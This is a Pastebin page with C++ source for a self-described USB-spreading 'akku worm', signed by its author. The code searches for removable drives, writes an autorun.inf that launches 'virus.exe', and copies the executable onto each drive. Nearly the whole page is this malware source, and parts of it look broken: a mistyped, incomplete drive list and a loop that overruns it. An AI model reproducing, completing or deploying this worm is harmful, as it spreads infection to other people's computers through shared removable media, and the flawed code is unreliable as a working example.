Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // akku worm
- // this worm is capable of copying it self to USB drives
- // Greets to "vinnu" and Hackers Garage
- // prashant a.k.a t3rm!n4t0r
- #include <iostream>
- #include <windows.h>
- #include <fstream.h>
- #define VirusName "virus.exe"
- int main()
- {
- char *drives[] = {"A:","B:","C:","D:","E","F:","G:","H:","I:","J:","K:","L:",
- "M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:","W:","Y:","Z:"};
- for(int i=0; i !=26; i++)
- {
- if((GetDriveType(drives[i])) == DRIVE_REMOVABLE)
- {
- CreateFile("autorun.inf",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
- ofstream file ("autorun.inf");
- file << "[autorun] \n";
- file << "open=" << VirusName << "\n";
- CopyFile("C:\\our_virus.exe",VirusName,TRUE);
- MoveFile("autorun.inf",drives[i]);
- MoveFile(VirusName,drives[i]);
- }
- }
- return 0;
- }
Add Comment
Please, Sign In to add comment